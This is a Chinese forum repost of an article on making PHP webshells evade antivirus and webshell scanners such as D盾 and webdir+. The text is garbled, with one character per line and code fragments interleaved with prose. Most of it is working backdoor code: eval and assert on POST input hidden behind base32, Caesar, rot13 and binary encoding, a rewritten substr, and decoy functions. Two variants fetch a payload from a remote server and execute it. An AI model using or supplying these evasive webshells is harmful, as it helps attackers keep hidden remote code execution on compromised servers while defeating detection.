论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
免杀
[21864] 2021-04-13_webshell免杀的技巧
文档创建者:
s7ckTeam
浏览次数:
1
最后更新:
2025-01-18
免杀
1 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-04-13_webshell免杀的技巧
w
e
b
s
h
e
l
l
免
杀
的
技
巧
转
自
安
全
先
师
L
e
m
o
n
S
e
c
2
0
2
1
-
0
4
-
1
3
0
x
0
0
:
前
言
:
前
言
由
于
杀
软
的
规
则
在
不
断
更
新
所
以
很
多
之
前
的
过
杀
软
方
法
基
本
上
都
不
行
了
而
且
随
着
p
h
p
7
逐
渐
扩
张
a
s
s
e
r
t
马
也
将
被
淘
汰
所
以
本
文
将
提
出
几
种
免
杀
思
路
效
果
很
好
而
且
不
会
被
杀
软
的
正
则
和
沙
盒
规
则
约
束
。
0
x
0
1
:
自
定
义
加
密
:
自
定
义
加
密
B
y
p
a
s
s
部
分
杀
软
会
直
接
将
一
些
编
码
函
数
如
B
a
s
e
6
4
、
编
码
后
的
关
键
字
或
组
合
函
数
加
入
了
规
则
比
如
某
d
i
r
+
比
如
这
个
都
能
被
检
测
出
是
s
h
e
l
l
,
所
以
为
了
防
止
这
种
的
规
则
自
定
义
加
密
显
然
是
最
优
解
,
自
定
义
加
密
可
选
性
多
了
只
要
能
把
加
密
后
的
字
符
还
原
回
去
就
行
比
如
b
a
s
e
3
2
b
a
s
e
5
8
这
类
的
b
a
s
e
编
码
全
家
桶
或
者
自
定
义
a
s
c
i
i
移
位
甚
至
是
对
称
加
密
算
法
等
都
是
可
以
绕
过
这
类
规
则
检
测
b
a
s
e
3
2
编
码
p
a
y
l
o
a
d
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
p
u
r
e
q
h
/
w
e
b
s
h
e
l
l
<
?
p
h
p
c
l
a
s
s
K
U
Y
E
{
p
u
b
l
i
c
$
D
A
X
W
=
n
u
l
l
;
p
u
b
l
i
c
$
L
R
X
V
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
t
h
i
s
-
>
D
A
X
W
=
'
m
v
3
g
c
3
b
i
e
r
p
v
a
t
2
t
k
r
n
x
u
z
l
s
n
5
o
s
s
o
y
'
;
$
t
h
i
s
-
>
L
R
X
V
=
@
S
Y
X
J
(
$
t
h
i
s
-
>
D
A
X
W
)
;
@
e
v
a
l
(
"
/
*
G
n
S
p
e
=
u
*
/
"
.
$
t
h
i
s
-
>
L
R
X
V
.
"
/
*
G
n
S
p
e
=
u
*
/
"
)
;
}
}
n
e
w
K
U
Y
E
(
)
;
f
u
n
c
t
i
o
n
M
N
W
K
(
$
Q
S
F
X
)
{
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
=
'
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
2
3
4
5
6
7
'
;
$
N
L
H
B
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
Q
S
F
X
)
;
$
i
<
$
j
;
$
i
+
+
)
{
$
v
<
<
=
8
;
$
v
+
=
o
r
d
(
$
Q
S
F
X
[
$
i
]
)
;
$
v
b
i
t
s
+
=
8
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
5
)
{
a
s
c
i
i
码
移
位
p
a
y
l
o
a
d
(
凯
撒
加
密
)
w
h
i
l
e
(
$
v
b
i
t
s
>
=
5
)
{
$
v
b
i
t
s
-
=
5
;
$
N
L
H
B
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
>
>
$
v
b
i
t
s
]
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
}
}
i
f
(
$
v
b
i
t
s
>
0
)
{
$
v
<
<
=
(
5
-
$
v
b
i
t
s
)
;
$
N
L
H
B
.
=
$
B
A
S
E
3
2
_
A
L
P
H
A
B
E
T
[
$
v
]
;
}
r
e
t
u
r
n
$
N
L
H
B
;
}
f
u
n
c
t
i
o
n
S
Y
X
J
(
$
Q
S
F
X
)
{
$
N
L
H
B
=
'
'
;
$
v
=
0
;
$
v
b
i
t
s
=
0
;
f
o
r
(
$
i
=
0
,
$
j
=
s
t
r
l
e
n
(
$
Q
S
F
X
)
;
$
i
<
$
j
;
$
i
+
+
)
{
$
v
<
<
=
5
;
i
f
(
$
Q
S
F
X
[
$
i
]
>
=
'
a
'
&
&
$
Q
S
F
X
[
$
i
]
<
=
'
z
'
)
{
$
v
+
=
(
o
r
d
(
$
Q
S
F
X
[
$
i
]
)
-
9
7
)
;
}
e
l
s
e
i
f
(
$
Q
S
F
X
[
$
i
]
>
=
'
2
'
&
&
$
Q
S
F
X
[
$
i
]
<
=
'
7
'
)
{
$
v
+
=
(
2
4
+
$
Q
S
F
X
[
$
i
]
)
;
}
e
l
s
e
{
e
x
i
t
(
1
)
;
}
$
v
b
i
t
s
+
=
5
;
w
h
i
l
e
(
$
v
b
i
t
s
>
=
8
)
{
$
v
b
i
t
s
-
=
8
;
$
N
L
H
B
.
=
c
h
r
(
$
v
>
>
$
v
b
i
t
s
)
;
$
v
&
=
(
(
1
<
<
$
v
b
i
t
s
)
-
1
)
;
}
}
r
e
t
u
r
n
$
N
L
H
B
;
}
?
>
<
?
p
h
p
c
l
a
s
s
F
K
P
C
{
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
t
h
i
s
-
>
T
Q
Y
V
=
"
b
s
^
i
%
!
M
L
P
Q
X
w
b
o
l
Z
&
8
"
;
$
t
h
i
s
-
>
W
Z
D
M
=
@
H
H
G
J
(
$
t
h
i
s
-
>
T
Q
Y
V
)
;
@
e
v
a
l
(
"
/
*
#
j
k
s
k
j
w
j
q
o
*
/
"
.
$
t
h
i
s
-
>
W
Z
D
M
.
"
/
*
s
j
#
a
h
a
j
s
j
*
/
"
)
;
}
}
n
e
w
F
K
P
C
(
)
;
f
u
n
c
t
i
o
n
H
H
G
J
(
$
U
y
G
v
)
{
$
s
v
f
e
=
[
]
;
$
m
x
A
S
=
'
'
;
$
f
=
$
U
y
G
v
;
f
o
r
(
$
i
=
0
;
$
i
<
s
t
r
l
e
n
(
$
f
)
;
$
i
+
+
)
{
$
s
v
f
e
[
]
=
c
h
r
(
(
o
r
d
(
$
f
[
$
i
]
)
+
3
)
)
;
}
$
m
x
A
S
=
i
m
p
l
o
d
e
(
$
s
v
f
e
)
;
r
e
t
u
r
n
$
m
x
A
S
;
}
?
>
居
然
没
过
w
e
b
d
i
r
+
那
如
何
解
决
呢
我
们
后
面
再
说
当
然
应
付
D
盾
还
是
绰
绰
有
余
了
R
o
t
1
3
加
密
加
密
p
a
y
l
o
a
d
二
进
制
转
化
p
a
y
l
o
a
d
<
?
p
h
p
c
l
a
s
s
K
U
Y
E
{
p
u
b
l
i
c
$
D
A
X
W
=
n
u
l
l
;
p
u
b
l
i
c
$
L
R
X
V
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
t
h
i
s
-
>
D
A
X
W
=
'
r
i
n
y
(
$
_
C
B
F
G
[
m
r
e
b
]
)
;
'
;
$
t
h
i
s
-
>
L
R
X
V
=
@
s
t
r
_
r
o
t
1
3
(
$
t
h
i
s
-
>
D
A
X
W
)
;
@
e
v
a
l
(
"
/
*
G
n
S
p
e
=
u
*
/
"
.
$
t
h
i
s
-
>
L
R
X
V
.
"
/
*
G
n
S
p
e
=
u
*
/
"
)
;
}
}
n
e
w
K
U
Y
E
(
)
;
?
>
<
?
p
h
p
c
l
a
s
s
K
U
Y
E
{
p
u
b
l
i
c
$
D
A
X
W
=
n
u
l
l
;
p
u
b
l
i
c
$
L
R
X
V
=
n
u
l
l
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
t
h
i
s
-
>
D
A
X
W
=
'
1
1
0
0
1
0
1
1
1
1
0
1
1
0
1
1
0
0
0
0
1
1
1
0
1
1
0
0
1
0
1
0
0
0
1
0
0
1
0
0
1
0
1
1
1
1
1
1
0
1
0
0
0
0
1
0
0
1
1
1
1
1
0
1
0
0
1
1
1
0
1
0
1
0
0
1
0
1
1
0
1
1
1
1
1
1
0
1
0
1
1
0
0
1
0
1
1
1
1
0
0
1
0
1
1
0
1
1
1
1
1
0
1
1
1
0
1
1
0
1
0
0
1
1
1
1
0
1
1
'
;
$
t
h
i
s
-
>
L
R
X
V
=
@
B
i
n
T
o
S
t
r
(
$
t
h
i
s
-
>
D
A
X
W
)
;
@
e
v
a
l
(
"
/
*
G
n
S
p
e
=
u
*
/
"
.
$
t
h
i
s
-
>
L
R
X
V
.
"
/
*
G
n
S
p
e
=
u
*
/
"
)
;
}
}
n
e
w
K
U
Y
E
(
)
;
f
u
n
c
t
i
o
n
B
i
n
T
o
S
t
r
(
$
s
t
r
)
{
$
a
r
r
=
e
x
p
l
o
d
e
(
'
'
,
$
s
t
r
)
;
f
o
r
e
a
c
h
(
$
a
r
r
a
s
&
$
v
)
{
$
v
=
p
a
c
k
(
"
H
"
.
s
t
r
l
e
n
(
b
a
s
e
_
c
o
n
v
e
r
t
(
$
v
,
2
,
1
6
)
)
,
b
a
s
e
_
c
o
n
v
e
r
t
(
$
v
,
2
,
1
6
)
)
;
}
这
里
就
不
列
举
了
只
要
方
法
正
确
绕
过
杀
软
是
很
简
单
的
0
x
0
2
:
通
过
:
通
过
h
t
t
p
获
得
关
键
参
数
获
得
关
键
参
数
上
面
那
个
凯
撒
密
码
不
是
被
w
e
b
d
i
r
+
杀
了
吗
我
们
在
这
里
将
他
绕
过
众
所
周
知
凯
撒
密
码
需
要
设
置
往
前
或
往
后
移
几
位
a
s
c
i
i
这
个
参
数
可
以
设
置
为
解
密
方
法
的
输
入
参
数
经
过
测
试
此
参
数
在
源
码
中
会
被
沙
盒
跑
出
了
因
此
不
能
过
百
度
杀
毒
,
那
么
我
不
写
本
地
不
就
行
了
我
直
接
起
一
个
h
t
t
p
服
务
访
问
文
本
获
得
参
数
值
。
}
r
e
t
u
r
n
j
o
i
n
(
'
'
,
$
a
r
r
)
;
}
?
>
<
?
p
h
p
c
l
a
s
s
F
K
P
C
{
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
u
r
l
=
"
h
t
t
p
:
/
/
x
x
x
x
x
:
8
0
8
0
/
1
.
t
x
t
"
;
$
f
p
=
f
o
p
e
n
(
$
u
r
l
,
'
r
'
)
;
s
t
r
e
a
m
_
g
e
t
_
m
e
t
a
_
d
a
t
a
(
$
f
p
)
;
w
h
i
l
e
(
!
f
e
o
f
(
$
f
p
)
)
{
$
b
o
d
y
.
=
f
g
e
t
s
(
$
f
p
,
1
0
2
4
)
;
}
$
t
h
i
s
-
>
x
=
$
b
o
d
y
;
$
t
h
i
s
-
>
T
Q
Y
V
=
"
b
s
^
i
%
!
M
L
P
Q
X
w
b
o
l
Z
&
8
"
;
$
t
h
i
s
-
>
W
Z
D
M
=
@
H
H
G
J
(
$
t
h
i
s
-
>
T
Q
Y
V
,
$
t
h
i
s
-
>
x
)
;
@
e
v
a
l
(
"
/
*
#
j
k
s
k
j
w
j
q
o
*
/
"
.
$
t
h
i
s
-
>
W
Z
D
M
.
"
/
*
s
j
#
a
h
a
j
s
j
*
/
"
)
;
}
}
n
e
w
F
K
P
C
(
)
;
f
u
n
c
t
i
o
n
H
H
G
J
(
$
U
y
G
v
,
$
x
)
{
$
s
v
f
e
=
[
]
;
$
m
x
A
S
=
'
'
;
$
f
=
$
U
y
G
v
;
f
o
r
(
$
i
=
0
;
$
i
<
s
t
r
l
e
n
(
$
f
)
;
$
i
+
+
)
{
$
s
v
f
e
[
]
=
c
h
r
(
(
o
r
d
(
$
f
[
$
i
]
)
+
$
x
)
)
;
}
$
m
x
A
S
=
i
m
p
l
o
d
e
(
$
s
v
f
e
)
;
r
e
t
u
r
n
$
m
x
A
S
;
}
?
>
当
然
肯
定
能
用
但
是
这
转
了
一
圈
简
直
不
低
碳
啊
我
不
能
直
接
h
t
t
p
获
取
p
a
y
l
o
a
d
吗
.
.
.
简
化
代
码
:
?
>
<
?
p
h
p
c
l
a
s
s
K
U
Y
E
{
p
u
b
l
i
c
$
a
=
'
y
s
h
a
s
a
u
i
'
;
p
u
b
l
i
c
$
b
=
'
'
;
f
u
n
c
t
i
o
n
_
_
c
o
n
s
t
r
u
c
t
(
)
{
$
u
r
l
=
"
h
t
t
p
:
/
/
x
x
x
/
1
.
t
x
t
"
;
$
f
p
=
f
o
p
e
n
(
$
u
r
l
,
'
r
'
)
;
s
t
r
e
a
m
_
g
e
t
_
m
e
t
a
_
d
a
t
a
(
$
f
p
)
;
w
h
i
l
e
(
!
f
e
o
f
(
$
f
p
)
)
{
$
b
o
d
y
.
=
f
g
e
t
s
(
$
f
p
,
1
0
2
4
)
;
}
$
t
h
i
s
-
>
b
=
$
b
o
d
y
;
@
e
v
a
l
(
"
/
*
G
n
S
p
e
=
1
2
1
u
*
/
"
.
$
t
h
i
s
-
>
b
.
"
/
*
G
n
2
1
2
S
p
e
=
u
*
/
"
)
;
}
}
n
e
w
K
U
Y
E
(
)
;
?
>
0
x
0
3
:
重
写
函
数
:
重
写
函
数
B
y
p
a
s
s
众
所
周
知
正
则
类
杀
软
最
喜
欢
直
接
把
危
险
函
数
加
入
规
则
那
么
它
杀
的
是
函
数
名
还
是
逻
辑
呢
?
试
一
试
就
知
道
了
我
们
的
样
本
如
下
:
这
是
个
使
用
s
u
b
s
t
r
函
数
切
割
关
键
字
的
小
马
直
接
扔
到
w
e
b
d
i
r
+
杀
毫
无
疑
问
的
被
杀
了
那
么
我
们
重
写
s
u
b
s
t
r
函
数
<
?
p
h
p
$
a
=
s
u
b
s
t
r
(
"
a
s
s
e
r
t
x
x
"
,
0
,
6
)
;
$
a
(
$
_
P
O
S
T
[
'
x
'
]
)
;
?
>
f
u
n
c
t
i
o
n
m
y
s
u
b
s
t
r
(
$
s
t
r
i
n
g
,
$
s
t
a
r
t
=
0
,
$
l
e
n
g
t
h
=
n
u
l
l
)
{
$
r
e
s
u
l
t
=
'
'
;
$
s
t
r
L
e
n
g
t
h
=
s
t
r
l
e
n
(
$
s
t
r
i
n
g
)
;
i
f
(
$
l
e
n
g
t
h
=
=
=
n
u
l
l
)
{
$
l
e
n
g
t
h
=
$
s
t
r
L
e
n
g
t
h
;
}
$
l
e
n
g
t
h
=
(
i
n
t
)
$
l
e
n
g
t
h
;
$
s
t
a
r
t
=
$
s
t
a
r
t
<
0
?
(
$
s
t
r
L
e
n
g
t
h
+
$
s
t
a
r
t
)
:
(
$
s
t
a
r
t
)
;
然
后
把
函
数
替
换
再
拿
去
杀
结
论
很
清
楚
了
再
来
D
盾
杀
一
下
不
错
报
2
级
了
这
就
是
沙
盒
型
查
杀
和
正
则
类
查
杀
的
明
显
区
别
怎
么
过
呢
用
构
造
方
法
即
可
$
e
n
d
=
$
l
e
n
g
t
h
<
0
?
(
$
s
t
r
L
e
n
g
t
h
+
$
l
e
n
g
t
h
)
:
$
s
t
a
r
t
+
$
l
e
n
g
t
h
;
i
f
(
$
s
t
a
r
t
>
$
s
t
r
L
e
n
g
t
h
|
|
(
$
e
n
d
-
$
s
t
a
r
t
)
=
=
=
0
)
{
r
e
t
u
r
n
$
r
e
s
u
l
t
;
}
f
o
r
(
;
$
s
t
a
r
t
<
$
e
n
d
;
$
s
t
a
r
t
+
+
)
{
$
r
e
s
u
l
t
.
=
$
s
t
r
i
n
g
[
$
s
t
a
r
t
]
;
}
r
e
t
u
r
n
$
r
e
s
u
l
t
;
}
<
?
p
h
p
$
b
=
'
a
s
s
e
r
t
(
x
y
z
@
'
;
$
c
=
m
y
s
u
b
s
t
r
(
$
b
,
0
,
6
)
;
$
c
(
$
_
P
O
S
T
[
'
z
e
r
o
'
]
)
;
f
u
n
c
t
i
o
n
m
y
s
u
b
s
t
r
(
$
s
t
r
i
n
g
,
$
s
t
a
r
t
=
0
,
$
l
e
n
g
t
h
=
n
u
l
l
)
{
$
r
e
s
u
l
t
=
'
'
;
$
s
t
r
L
e
n
g
t
h
=
s
t
r
l
e
n
(
$
s
t
r
i
n
g
)
;
i
f
(
$
l
e
n
g
t
h
=
=
=
n
u
l
l
)
{
$
l
e
n
g
t
h
=
$
s
t
r
L
e
n
g
t
h
;
}
$
l
e
n
g
t
h
=
(
i
n
t
)
$
l
e
n
g
t
h
;
$
s
t
a
r
t
=
$
s
t
a
r
t
<
0
?
(
$
s
t
r
L
e
n
g
t
h
+
$
s
t
a
r
t
)
:
(
$
s
t
a
r
t
)
;
$
e
n
d
=
$
l
e
n
g
t
h
<
0
?
(
$
s
t
r
L
e
n
g
t
h
+
$
l
e
n
g
t
h
)
:
$
s
t
a
r
t
+
$
l
e
n
g
t
h
;
i
f
(
$
s
t
a
r
t
>
$
s
t
r
L
e
n
g
t
h
|
|
(
$
e
n
d
-
$
s
t
a
r
t
)
=
=
=
0
)
{
r
e
t
u
r
n
$
r
e
s
u
l
t
;
}
f
o
r
(
;
$
s
t
a
r
t
<
$
e
n
d
;
$
s
t
a
r
t
+
+
)
{
$
r
e
s
u
l
t
.
=
$
s
t
r
i
n
g
[
$
s
t
a
r
t
]
;
}
r
e
t
u
r
n
$
r
e
s
u
l
t
;
}
?
>
看
到
这
里
大
家
可
能
也
很
奇
怪
这
里
都
没
用
到
m
y
s
u
b
s
t
r
函
数
放
上
去
不
是
多
此
一
举
吗
不
好
意
思
恰
恰
不
是
我
们
可
以
去
掉
这
个
函
数
用
D
盾
杀
一
下
<
?
p
h
p
c
l
a
s
s
p
u
r
e
{
p
u
b
l
i
c
$
a
=
'
'
;
f
u
n
c
t
i
o
n
_
_
d
e
s
t
r
u
c
t
(
)
{
a
s
s
e
r
t
(
"
$
t
h
i
s
-
>
a
"
)
;
}
}
$
b
=
n
e
w
p
u
r
e
;
$
b
-
>
a
=
$
_
P
O
S
T
[
'
z
e
r
o
'
]
;
f
u
n
c
t
i
o
n
m
y
s
u
b
s
t
r
(
$
s
t
r
i
n
g
,
$
s
t
a
r
t
=
0
,
$
l
e
n
g
t
h
=
n
u
l
l
)
{
$
r
e
s
u
l
t
=
'
'
;
$
s
t
r
L
e
n
g
t
h
=
s
t
r
l
e
n
(
$
s
t
r
i
n
g
)
;
i
f
(
$
l
e
n
g
t
h
=
=
=
n
u
l
l
)
{
$
l
e
n
g
t
h
=
$
s
t
r
L
e
n
g
t
h
;
}
$
l
e
n
g
t
h
=
(
i
n
t
)
$
l
e
n
g
t
h
;
$
s
t
a
r
t
=
$
s
t
a
r
t
<
0
?
(
$
s
t
r
L
e
n
g
t
h
+
$
s
t
a
r
t
)
:
(
$
s
t
a
r
t
)
;
$
e
n
d
=
$
l
e
n
g
t
h
<
0
?
(
$
s
t
r
L
e
n
g
t
h
+
$
l
e
n
g
t
h
)
:
$
s
t
a
r
t
+
$
l
e
n
g
t
h
;
i
f
(
$
s
t
a
r
t
>
$
s
t
r
L
e
n
g
t
h
|
|
(
$
e
n
d
-
$
s
t
a
r
t
)
=
=
=
0
)
{
r
e
t
u
r
n
$
r
e
s
u
l
t
;
}
f
o
r
(
;
$
s
t
a
r
t
<
$
e
n
d
;
$
s
t
a
r
t
+
+
)
{
$
r
e
s
u
l
t
.
=
$
s
t
r
i
n
g
[
$
s
t
a
r
t
]
;
}
r
e
t
u
r
n
$
r
e
s
u
l
t
;
}
?
>
<
?
p
h
p
c
l
a
s
s
p
u
r
e
{
p
u
b
l
i
c
$
a
=
'
'
;
f
u
n
c
t
i
o
n
_
_
d
e
s
t
r
u
c
t
(
)
{
怎
么
样
是
不
是
很
有
趣
这
里
放
这
堆
代
码
并
不
是
为
了
真
的
用
它
而
是
为
了
过
D
盾
的
特
征
查
杀
所
以
放
什
么
函
数
是
无
所
谓
的
。
比
如
这
样
:
a
s
s
e
r
t
(
"
$
t
h
i
s
-
>
a
"
)
;
}
}
$
b
=
n
e
w
p
u
r
e
;
$
b
-
>
a
=
$
_
P
O
S
T
[
'
z
e
r
o
'
]
;
?
>
<
?
p
h
p
c
l
a
s
s
p
u
r
e
{
p
u
b
l
i
c
$
a
=
'
'
;
f
u
n
c
t
i
o
n
_
_
d
e
s
t
r
u
c
t
(
)
{
a
s
s
e
r
t
(
"
$
t
h
i
s
-
>
a
"
)
;
}
}
$
b
=
n
e
w
p
u
r
e
;
$
b
-
>
a
=
$
_
P
O
S
T
[
'
z
e
r
o
'
]
;
f
u
n
c
t
i
o
n
m
y
s
u
b
s
t
r
(
$
a
,
$
b
)
{
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
e
c
h
o
"
?
s
a
s
a
s
j
a
j
k
s
j
k
a
"
;
}
?
>
这
里
只
介
绍
了
重
写
s
u
b
s
t
r
函
数
那
么
其
他
的
函
数
可
以
吗
当
然
可
以
*
*
0
x
0
4
:
写
在
后
面
:
写
在
后
面
只
要
思
想
不
滑
坡
方
法
总
比
困
难
多
一
如
既
往
的
学
习
,
一
如
既
往
的
整
理
,
一
如
即
往
的
分
享
。
感
谢
支
持
“
如
侵
权
请
私
聊
公
众
号
删
文
”
扫
描
关
注
扫
描
关
注
L
e
m
o
n
S
e
c
觉
得
不
错
点
个
觉
得
不
错
点
个
“
赞
赞
”
、
、
“
在
看
在
看
”
哦
哦
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页